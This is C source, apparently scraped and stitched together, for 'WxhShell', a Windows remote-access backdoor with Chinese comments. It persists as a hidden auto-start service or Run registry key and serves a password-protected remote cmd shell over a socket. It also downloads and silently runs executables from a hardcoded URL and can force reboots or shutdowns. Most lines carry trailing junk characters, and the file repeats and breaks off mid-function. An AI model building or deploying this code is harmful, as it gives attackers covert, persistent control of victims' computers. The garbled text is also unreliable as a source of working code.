    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k]*DuVCOX  
    if(Boot(SHUTDOWN)) #]`ejr:2O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .F=15A  
    else { Z4#lZS`'A  
    closesocket(wsh); /uSEG<D  
    ExitThread(0); ,"/<N*vh  
    } oL'  :07_  
    break; gd9ZlHo'Id  
    } pH&Q]u; O  
  // 获取shell pf.T{/%  
  case 's': { G6X  
    CmdShell(wsh); m9^ ? p  
    closesocket(wsh); Ugmg,~U~k  
    ExitThread(0); r>lC(x\B  
    break; ],%}}UN  
  } C3`2{1  
  // 退出 -CW$p=y}  
  case 'x': { X/,4hjg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b2;Weu3WN  
    CloseIt(wsh); xBGSj[1`i  
    break; eW*nRha  
    } >mI-h  
  // 离开 dy u brIG  
  case 'q': { rn1FCJ<;H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?5m[Qc (<  
    closesocket(wsh); UQz8":#V  
    WSACleanup(); wL 5p0Xl  
    exit(1); _96hw8  
    break; O2{_:B>K[  
        } x9PEYhL?  
  } bA#E8dlC_  
  } 1{+Ni{  
[.P~-6~  
  // 提示信息  /A|cO   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tq9t(0EL  
} [|~X~AO%  
  } Py 8o8*H  
n }lav  
  return; vO" $Xw  
} {m}B=u  
ih1s`CjG  
// shell模块句柄 [_j.pMH/P  
int CmdShell(SOCKET sock) >VqMSe_v  
{ <PkDfMx2  
STARTUPINFO si; )_EQU8D4ug  
ZeroMemory(&si,sizeof(si)); 1p,G8v+B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |::kC3=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (CY VSO  
PROCESS_INFORMATION ProcessInfo; 6m21Y8N  
char cmdline[]="cmd"; hD58 s"L$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;B`e;B?1Q  
  return 0; z'r.LBnh  
} iXC/? EK4  
 U^ BB|  
// 自身启动模式 O*oL(dk*8L  
int StartFromService(void) 3 Yl[J;i  
{ 9!V<=0b/  
typedef struct  ]\P  
{ ?"AcK" v  
  DWORD ExitStatus; a(Z" }m  
  DWORD PebBaseAddress; ;BoeE3* 6  
  DWORD AffinityMask; e,I-u'mLQs  
  DWORD BasePriority; M:?eK [h  
  ULONG UniqueProcessId; M 0->  
  ULONG InheritedFromUniqueProcessId; |6\ ?"#  
}   PROCESS_BASIC_INFORMATION; _}Jz_RS2`  
Yl1@ gw7  
PROCNTQSIP NtQueryInformationProcess; zEY Ey1  
Y_PCL9G{p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9>le-}~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'ESy>wA{y<  
)+w0NhJw  
  HANDLE             hProcess; r3ZY` zf  
  PROCESS_BASIC_INFORMATION pbi; #eE:hiu<v  
u4o%qK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #:Cr'U  
  if(NULL == hInst ) return 0; 0y'34}  
y>8!qVX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Iu0K#.s_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LEVNywk[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  wb4 4  
ZH:#~Zyj  
  if (!NtQueryInformationProcess) return 0; 21 cB_"  
G`|mP:T:o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KUH&_yCRB  
  if(!hProcess) return 0; +cy(}Vp  
h.'h L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xKsn);].`  
X?rJO~5  
  CloseHandle(hProcess); a((5_8SX5  
0; V{yh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BY,%+>bc)  
if(hProcess==NULL) return 0; 1[3"|  
vR1%&(f{  
HMODULE hMod; zZ-e2)1v  
char procName[255]; 9FV#@uA}D  
unsigned long cbNeeded; #D//oL"u]  
dJNYuTZ'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R52q6y:<x  
r(vk2Qy  
  CloseHandle(hProcess); |hp_X>Uv'  
O";r\Z  
if(strstr(procName,"services")) return 1; // 以服务启动 j- F=5)A  
$BH0W{S  
  return 0; // 注册表启动 tGmyTBgx  
} N.eSf  
7SAu">lIl  
// 主模块 oL }FD !}  
int StartWxhshell(LPSTR lpCmdLine) z=)5M*h  
{ "P<~bw5   
  SOCKET wsl; 8Qu].nKe  
BOOL val=TRUE; [zf9UUc~  
  int port=0; f.+e  
  struct sockaddr_in door; l`$f@'k  
{!oO>t  
  if(wscfg.ws_autoins) Install(); Y]8l]l 1  
E? F @  
port=atoi(lpCmdLine); _rjCwo\  
 |k 4+I  
if(port<=0) port=wscfg.ws_port; >>^c_0"O  
oF ,8j1  
  WSADATA data; (:T~*7/"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Kq!n `@  
DU1,i&(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i-E&Y*\^9H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )J#@L*  
  door.sin_family = AF_INET; 62vz 'b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JI\u -+BE  
  door.sin_port = htons(port); vgE5(fJh  
PI0/=kS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J_P2%b=C  
closesocket(wsl); 4TR:bQZs  
return 1; 6dq U4  
} )sNtw Sl^  
3wR5:O$H  
  if(listen(wsl,2) == INVALID_SOCKET) { hDp'=}85@  
closesocket(wsl); ;oR-\;]/.  
return 1; ;e jC:3yO  
} uF(- h~  
  Wxhshell(wsl); %8{' XJ!  
  WSACleanup(); yY_]YeeR  
=~aJ]T}(  
return 0; ? # G_ &  
cVulJ6  
} ^O892-R  
2N)vEUyDV  
// 以NT服务方式启动 k7W8$8 v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .WG@"2z|  
{ Hh!x&;x}  
DWORD   status = 0; 3*arW|Xm  
  DWORD   specificError = 0xfffffff; aUA+%  
dd4yS}yBlR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PS=crU@"H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,sLV6DM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VJr?` eY4  
  serviceStatus.dwWin32ExitCode     = 0; A0[flIl  
  serviceStatus.dwServiceSpecificExitCode = 0; yobi$mnsy!  
  serviceStatus.dwCheckPoint       = 0; 2EE#60  
  serviceStatus.dwWaitHint       = 0; iwmXgsRa9}  
:EA,0 ,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OB$A"XGAEV  
  if (hServiceStatusHandle==0) return; EKoCm)}d  
NU 6P  
status = GetLastError();  'Z&A5\~  
  if (status!=NO_ERROR) N+}yw4lb  
{ 3rR(>}:[V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2,_BO6 !d  
    serviceStatus.dwCheckPoint       = 0; n!tCz<v  
    serviceStatus.dwWaitHint       = 0; {h@R\bU  
    serviceStatus.dwWin32ExitCode     = status; Q6vkqu5!=  
    serviceStatus.dwServiceSpecificExitCode = specificError; ruE.0VI@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )O7Mfr  
    return; y5R6/*;N.  
  } hUl FP  
g" M1HxlV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yr;oq(&N  
  serviceStatus.dwCheckPoint       = 0; ;wvV hQ  
  serviceStatus.dwWaitHint       = 0; #vS>^OyP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3d,|26I7f  
} H<FDi{  
l{y~N  
// 处理NT服务事件,比如:启动、停止 9'4cqR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~sA}.7  
{ R(q fP  
switch(fdwControl) Y@.:U*  
{ }Rt<^oya*  
case SERVICE_CONTROL_STOP: ,e,fOL  
  serviceStatus.dwWin32ExitCode = 0; LTa9' q0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (cCB3n\20  
  serviceStatus.dwCheckPoint   = 0; j4NS5  
  serviceStatus.dwWaitHint     = 0; MOOL=Um3  
  { iezz[;t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7qh_URt@  
  } %l5J  
  return; Y8CXin h  
case SERVICE_CONTROL_PAUSE: 2oq>tnYyV[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {(aJrSE<z  
  break; 8}S|iM  
case SERVICE_CONTROL_CONTINUE: x&?35B i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ii,L6c  
  break; ZsV'-gu  
case SERVICE_CONTROL_INTERROGATE: W~7q&||;C  
  break; 4Q!*h8O  
}; Ig9$ PP+3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nq$^}L3&~  
} L:%h]-  
0,VbB7 z  
// 标准应用程序主函数 thq(tK7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %_/_klxnO  
{ ?EtK/6dJZt  
4l z9z>J.V  
// 获取操作系统版本 duwZe+  
OsIsNt=GetOsVer(); $%!]tNGS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NVOY,g=3X  
Q04N  
  // 从命令行安装 jN B-FVaT  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,D#~%kq~  
t(s']r  
  // 下载执行文件 5$9j&&R  
if(wscfg.ws_downexe) { rgOB0[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2p'qp/  
  WinExec(wscfg.ws_filenam,SW_HIDE); a Fl(K\  
} EnfSVG8kB8  
2P]rJ  
if(!OsIsNt) { b)`<J @&{  
// 如果时win9x,隐藏进程并且设置为注册表启动 i*F^;-q)  
HideProc(); $)PNf'5Zg  
StartWxhshell(lpCmdLine); ==Y^~ab;K  
} i  #8)ad  
else "S6d ^  
  if(StartFromService()) >pn?~  
  // 以服务方式启动 [Si`pPvl  
  StartServiceCtrlDispatcher(DispatchTable); <ZCjQkka>r  
else $@DXS~UQA  
  // 普通方式启动 !$&K~>`  
  StartWxhshell(lpCmdLine); U?.VY@  
n.Ekpq\  
return 0; ,@GI3bl  
} jagsV'o2  
V}Oxz04  
m}8c.OJ>K`  
Thz&wH`W  
=========================================== ,.DU)Wi?}  
]V}";cm;2  
`@eQL[Z9x  
[x9eamJ,H  
539[,jH  
ga!t:O@w  
" C'hZNFsF;  
G;`+MgJ)  
#include <stdio.h> RD,` D!  
#include <string.h> _jP]ifu`  
#include <windows.h> ](3=7!!J  
#include <winsock2.h> -u8 ma%JW  
#include <winsvc.h> \ocJJc9  
#include <urlmon.h> ^Z;5e@S  
-k!UcMWP  
#pragma comment (lib, "Ws2_32.lib") ld}- }W-cq  
#pragma comment (lib, "urlmon.lib") O-q [#P  
4R}2H>VV%  
#define MAX_USER   100 // 最大客户端连接数 z${DW@o3  
#define BUF_SOCK   200 // sock buffer &(irri_  
#define KEY_BUFF   255 // 输入 buffer joYj`K  
{QJJw}!#  
#define REBOOT     0   // 重启 0riTav8  
#define SHUTDOWN   1   // 关机 [&"`2n  
SmC91XO  
#define DEF_PORT   5000 // 监听端口 kOeW,:&65  
EtKy?]i  
#define REG_LEN     16   // 注册表键长度 M/>^_zG  
#define SVC_LEN     80   // NT服务名长度 1XL^Zhr  
MT}9T  
// 从dll定义API a$"3T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  w8$8P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qK,rT*5=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Me2%X>;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Np+<)q2  
{0QNqjue  
// wxhshell配置信息 mM!Gomp  
struct WSCFG { =5',obYN>c  
  int ws_port;         // 监听端口 :[,-wZiT~6  
  char ws_passstr[REG_LEN]; // 口令 tVFl`Xr   
  int ws_autoins;       // 安装标记, 1=yes 0=no lfK sqe"  
  char ws_regname[REG_LEN]; // 注册表键名 3hGYNlQ^  
  char ws_svcname[REG_LEN]; // 服务名 (jtrQob  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;",W&HQbE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !w{4FE74  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t#=W'HyW8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |+f@w/+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F7x]BeTM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /Rf:Z.L  
<0T|RhbY   
}; 6 -N 442  
(gQP_Oa(  
// default Wxhshell configuration Rcc9Tx(zvQ  
struct WSCFG wscfg={DEF_PORT, xo a1='  
    "xuhuanlingzhe", \0). ODA(  
    1, fl9`Mgu  
    "Wxhshell", 3fM8W> *7  
    "Wxhshell", I w~R@,  
            "WxhShell Service", C[6} 8J|  
    "Wrsky Windows CmdShell Service", :Ugf3%sQ  
    "Please Input Your Password: ", T]HeS(  
  1, ))66_bech  
  "http://www.wrsky.com/wxhshell.exe", kc-=5l  
  "Wxhshell.exe" ,K 8R%B  
    }; h'jc4mu0  
"m4. _4U  
// 消息定义模块 <Z5-?wgf9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j4k\5~yzS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 41Hv)}Yd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Py y!B  
char *msg_ws_ext="\n\rExit."; 3K!(/,`  
char *msg_ws_end="\n\rQuit."; |Bz1u|uc  
char *msg_ws_boot="\n\rReboot..."; < KG q  
char *msg_ws_poff="\n\rShutdown..."; -n FKP&P  
char *msg_ws_down="\n\rSave to "; 1-0tG+  
/W9(}Id6  
char *msg_ws_err="\n\rErr!"; #9zpJ\E  
char *msg_ws_ok="\n\rOK!"; y)vK=,"  
/#jH #f[  
char ExeFile[MAX_PATH]; 6I2` oag  
int nUser = 0; eu={6/O  
HANDLE handles[MAX_USER]; `Y O(C<r-  
int OsIsNt; Pm&hv*D  
& 6'Rc#\P  
SERVICE_STATUS       serviceStatus; sPX&XqWx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,.9k)\/V  
B X\/Am11  
// 函数声明 ~I6N6T Z  
int Install(void); 6~c#G{kc  
int Uninstall(void); ,_iq$I;  
int DownloadFile(char *sURL, SOCKET wsh); `OFW^Esc  
int Boot(int flag); 17$'r^t,S  
void HideProc(void); jaw&[f 7  
int GetOsVer(void); xP4}LL9)  
int Wxhshell(SOCKET wsl); VKV :U60  
void TalkWithClient(void *cs); (qglD  
int CmdShell(SOCKET sock); ja^_Lh9  
int StartFromService(void); .DNPL5[v  
int StartWxhshell(LPSTR lpCmdLine); !]5}N^X  
@<NuuYQ&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;/:Sx/#s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5`Q j<   
t:MSV?  
// 数据结构和表定义 v5>A1\  
SERVICE_TABLE_ENTRY DispatchTable[] = [?%q,>F  
{ >)F "lR:o  
{wscfg.ws_svcname, NTServiceMain}, zD)/QFILy  
{NULL, NULL} Hvb8+"?~  
}; KpA1Ac)T  
n{u\t+f  
// 自我安装 &AN1xcx\  
int Install(void) B (Ps/  
{ cbN;Kv?ak}  
  char svExeFile[MAX_PATH]; *Nm$b+  
  HKEY key; ,qx^D  
  strcpy(svExeFile,ExeFile); T/a=z  
4-~Z{#-  
// 如果是win9x系统,修改注册表设为自启动 &rGB58  
if(!OsIsNt) { vJLGy]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KL3Z(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ? D _kQl  
  RegCloseKey(key); w A\5-C7 j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z/u^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8N%nG( 0  
  RegCloseKey(key); |BbzRis  
  return 0; )adV`V%=>  
    } `^52I kM)  
  } AtewC Yo  
}  D|)a7_  
else { ~w a6S?  
Q F)\\ D[  
// 如果是NT以上系统,安装为系统服务 @/F61Ut  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K>dB{w#gS  
if (schSCManager!=0) om`T/@_,  
{ D"rbQXR7$  
  SC_HANDLE schService = CreateService V"m S$MN  
  ( &\1n=y  
  schSCManager, Jy5sZ }t[  
  wscfg.ws_svcname, u<Y#J,p`e  
  wscfg.ws_svcdisp,  =*&[K^  
  SERVICE_ALL_ACCESS, l|=4FIMD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +LF#XS@  
  SERVICE_AUTO_START, zw[' hqW  
  SERVICE_ERROR_NORMAL, f. "\~  
  svExeFile, xNzGp5H  
  NULL, Nai5!_'  
  NULL, ?u|@,tQ[  
  NULL, CJ* D  
  NULL, _Z23lF 9  
  NULL 8LbwEKl  
  ); )\|+G5#`  
  if (schService!=0) r/2= nE  
  { 5BJ E  
  CloseServiceHandle(schService); -~mgct5  
  CloseServiceHandle(schSCManager); $#q`Y+;L2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #L~i|(=U5  
  strcat(svExeFile,wscfg.ws_svcname); &)Xc'RQ.C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n:,mo}?X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e"ehH#i  
  RegCloseKey(key); =5q<_as  
  return 0; DsejZ&  
    } DcW?L^Mst  
  } <.Ws; HN}  
  CloseServiceHandle(schSCManager); J#zr50@@  
} ` y\)X C7  
} maXg(Lu  
'v"=   
return 1; |;vQ"8J  
} SVZocTt  
v1TFzcHl<  
// 自我卸载 Ho>Np&  
int Uninstall(void) r-<O'^C  
{ EU$.{C_O(  
  HKEY key; Ks-$:~?5":  
j,.\QwpU  
if(!OsIsNt) { %up?70  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;f[lq^eV  
  RegDeleteValue(key,wscfg.ws_regname); E5w;75,  
  RegCloseKey(key); 9af.t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7uF|Z(  
  RegDeleteValue(key,wscfg.ws_regname); 7;s#QqG`I  
  RegCloseKey(key); Y()" 2CCV  
  return 0; f8Iddm#  
  } p+ CUYo(  
} c+ oi8G  
} TmsIyDcD~  
else { /|IPBU 5  
vrkY7L3\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /ad9Q~nJ  
if (schSCManager!=0) rO'DT{Yt  
{ 5~L]zE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9 r!zYZ`)  
  if (schService!=0) CMXF[X)%  
  { AcC &Q:g  
  if(DeleteService(schService)!=0) { yD7BZI xW  
  CloseServiceHandle(schService); ;-+q*@sa]  
  CloseServiceHandle(schSCManager); or/gx3  
  return 0; zx3gz7>k;  
  } ^7-zwl(>?N  
  CloseServiceHandle(schService); V!W.P  
  } qCV<-o  
  CloseServiceHandle(schSCManager); |' Fe?~P`  
} 9} (w*>_L  
} 558P"w0"X  
9a}9cMJ^"  
return 1; M|WBJ'#x0  
} Y%pab/Y  
-8Jw_  
// 从指定url下载文件 CM;b_E)9)f  
int DownloadFile(char *sURL, SOCKET wsh) fw%`[( hK  
{ CSO'``16  
  HRESULT hr; &{}Mds  
char seps[]= "/"; jJy:/!i  
char *token; EB~]6.1  
char *file; ?sf<cFF  
char myURL[MAX_PATH]; 1E+12{~m"i  
char myFILE[MAX_PATH]; g !'R}y  
-V2\s  
strcpy(myURL,sURL); N3%X>*'  
  token=strtok(myURL,seps); 2 !s&|lI  
  while(token!=NULL) %rzPh<>e  
  { T@ c~ql  
    file=token; 0 j.K?]f)h  
  token=strtok(NULL,seps); E}@C4pS  
  } rUiYR]mV  
Lc*>sOm9  
GetCurrentDirectory(MAX_PATH,myFILE); <ql,@*Y  
strcat(myFILE, "\\"); kT% wt1T4  
strcat(myFILE, file); v}G^+-?  
  send(wsh,myFILE,strlen(myFILE),0); g'8Y5x[  
send(wsh,"...",3,0); I;(3)^QH#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); at: li  
  if(hr==S_OK) 3S^0%"fY  
return 0; #z\ub5um  
else ?'a8QJo  
return 1; JMb_00r  
oQ$yr^M  
} p0+^wXi)  
RB5SK#z  
// 系统电源模块 v pI9TG  
int Boot(int flag) Dw-d`8*  
{ vg z`+Zj*S  
  HANDLE hToken; "y1Iu   
  TOKEN_PRIVILEGES tkp; =BJe)!b  
<W4F`6`x  
  if(OsIsNt) { $v^hzC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -@orIwA&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %TB(E<p`  
    tkp.PrivilegeCount = 1; S c)^k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _?{7%(C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JJ?{V:  
if(flag==REBOOT) { bc)>h!'Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2hh8G5IaQ  
  return 0; iOE. .xA:  
} K7 e~%mY  
else { [a=exK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iI3:<j l  
  return 0; i+_LKHQN  
} SQKhht`M  
  } dmFn0J-\  
  else { NYm"I`5w  
if(flag==REBOOT) { !`DRJ)h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I \:WD"  
  return 0; &V"oJ}M/a  
} !X>u.}?g  
else { e+ xQ\LH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9!FX *}dC  
  return 0; !jCgTo y  
} |VfEp  
} 'h>uR|  
F3tps jQ  
return 1; d*(aue=  
} 1b,a3w(:1  
Cux(v8=n  
// win9x进程隐藏模块 8{ zX=  
void HideProc(void) `Q] N]mK  
{ &Y@i:O  
}X(&QZ7i`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +mQ5\14#  
  if ( hKernel != NULL ) =L6#=7hcl  
  { Gp"GTPT{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?J}Q&p.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tFN >]`Z  
    FreeLibrary(hKernel); dzVi ~wt_&  
  } U|^xr~q!f-  
$=aO*i  
return; @6u/)>rI  
} 7|rH9Bc{U  
Zk3Pv0c  
// 获取操作系统版本 eA!o#O.  
int GetOsVer(void) lqzt[zgN  
{ 60D36b(  
  OSVERSIONINFO winfo; nJD GNm,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Kxe\H'rR  
  GetVersionEx(&winfo); G\.~/<Mg+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]9@:7d6  
  return 1; 1{}p_"s>  
  else U& ?hG>  
  return 0; SI(f&T(  
} | ,8z" g  
|s8N  
// 客户端句柄模块 M`MxdwR  
int Wxhshell(SOCKET wsl) c-LzluWi  
{ N& _~y|  
  SOCKET wsh; Z6!Up1  
  struct sockaddr_in client; B#sCB&(  
  DWORD myID; )6|L]'dsZ  
7"(!]+BW!O  
  while(nUser<MAX_USER) TBlSZZ-55]  
{ k,h602(  
  int nSize=sizeof(client); d {z[46>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jhu &Wh  
  if(wsh==INVALID_SOCKET) return 1; "c^!LV  
aDlp>p^E>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fs+ tcr/\[  
if(handles[nUser]==0) O zAIz+`  
  closesocket(wsh); 4kOO3[r  
else #-{<d% qk  
  nUser++; U,P_bz*)  
  } k.J%rRneN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [4)Oi-_Y>  
BN/ 4O?jD9  
  return 0; C]^Ep  
} i'~-\F!  
xR7ZqTcw  
// 关闭 socket Gnc`CyN:H  
void CloseIt(SOCKET wsh) Vl^(K_`(  
{ ~!S3J2kG{  
closesocket(wsh); )^(*B6;z5  
nUser--; Zxk~X}K\P  
ExitThread(0); iL/c^(1  
} UG| /Px ]  
SZ` 7t=I2  
// 客户端请求句柄 ]a3$hAcj6"  
void TalkWithClient(void *cs) AFLtgoXn:  
{ ?K1B^M=8  
dFg>uo  
  SOCKET wsh=(SOCKET)cs; W4$o\yA]  
  char pwd[SVC_LEN]; (d9~z  
  char cmd[KEY_BUFF]; "ra$x2|=}  
char chr[1]; 2& Q\W  
int i,j; WM bkKC.{J  
/:|vJ|dJ  
  while (nUser < MAX_USER) { u?').c4  
awLvLkQb{  
if(wscfg.ws_passstr) { a~o <>H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XF`2*:7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P^Hgm  
  //ZeroMemory(pwd,KEY_BUFF); +Y;P*U}Qg[  
      i=0; Mz+I YP`L  
  while(i<SVC_LEN) { ULx:2jz  
1" '3/MFQ8  
  // 设置超时 Ple.fKu  
  fd_set FdRead; n ]%2Kx  
  struct timeval TimeOut; B|`?hw@g+  
  FD_ZERO(&FdRead); |x[I!I7.F  
  FD_SET(wsh,&FdRead); X><C#G  
  TimeOut.tv_sec=8; 8 $FH;=  
  TimeOut.tv_usec=0; n Ja!&G&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IsXNAYj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MT6p@b5  
\PX4>/d@y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }D1x%L  
  pwd=chr[0]; G?Et$r7:R  
  if(chr[0]==0xd || chr[0]==0xa) { `kKssU<  
  pwd=0; 8}%F`=Y0  
  break; pwSgFc$z  
  } iUkUo x  
  i++; 5(;Y&?k  
    } Ou[K7-m%&  
I| TNo-!$  
  // 如果是非法用户,关闭 socket $<*) 5|6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B4s$| i{D  
} n,T &n  
VFE@qX|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |3$E w.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J+D|/^  
:UwBs  
while(1) { KQ~y;{h?b  
Omd;  
  ZeroMemory(cmd,KEY_BUFF); ss^a=?~  
RhYe=Qh4{p  
      // 自动支持客户端 telnet标准   ~DH 9iB  
  j=0; EKc<|e,F  
  while(j<KEY_BUFF) { .jRI $vm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y1r$;;sH  
  cmd[j]=chr[0]; 1 UQ,V`y  
  if(chr[0]==0xa || chr[0]==0xd) { xU'z>y4V$  
  cmd[j]=0; 2H%9l@}u  
  break; ` w;Wud'*<  
  } H3wJ5-q(  
  j++; \p^V~fy7rU  
    } G1|1Z5r  
i0M6;W1T  
  // 下载文件 B>{%$@4  
  if(strstr(cmd,"http://")) { (l5p_x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^^q&VL  
  if(DownloadFile(cmd,wsh))  %:26v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Cr  
  else  bPsvoG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zAB = >v  
  } RO3LZBL  
  else { .AN1Yt  
Y9BQLu4F  
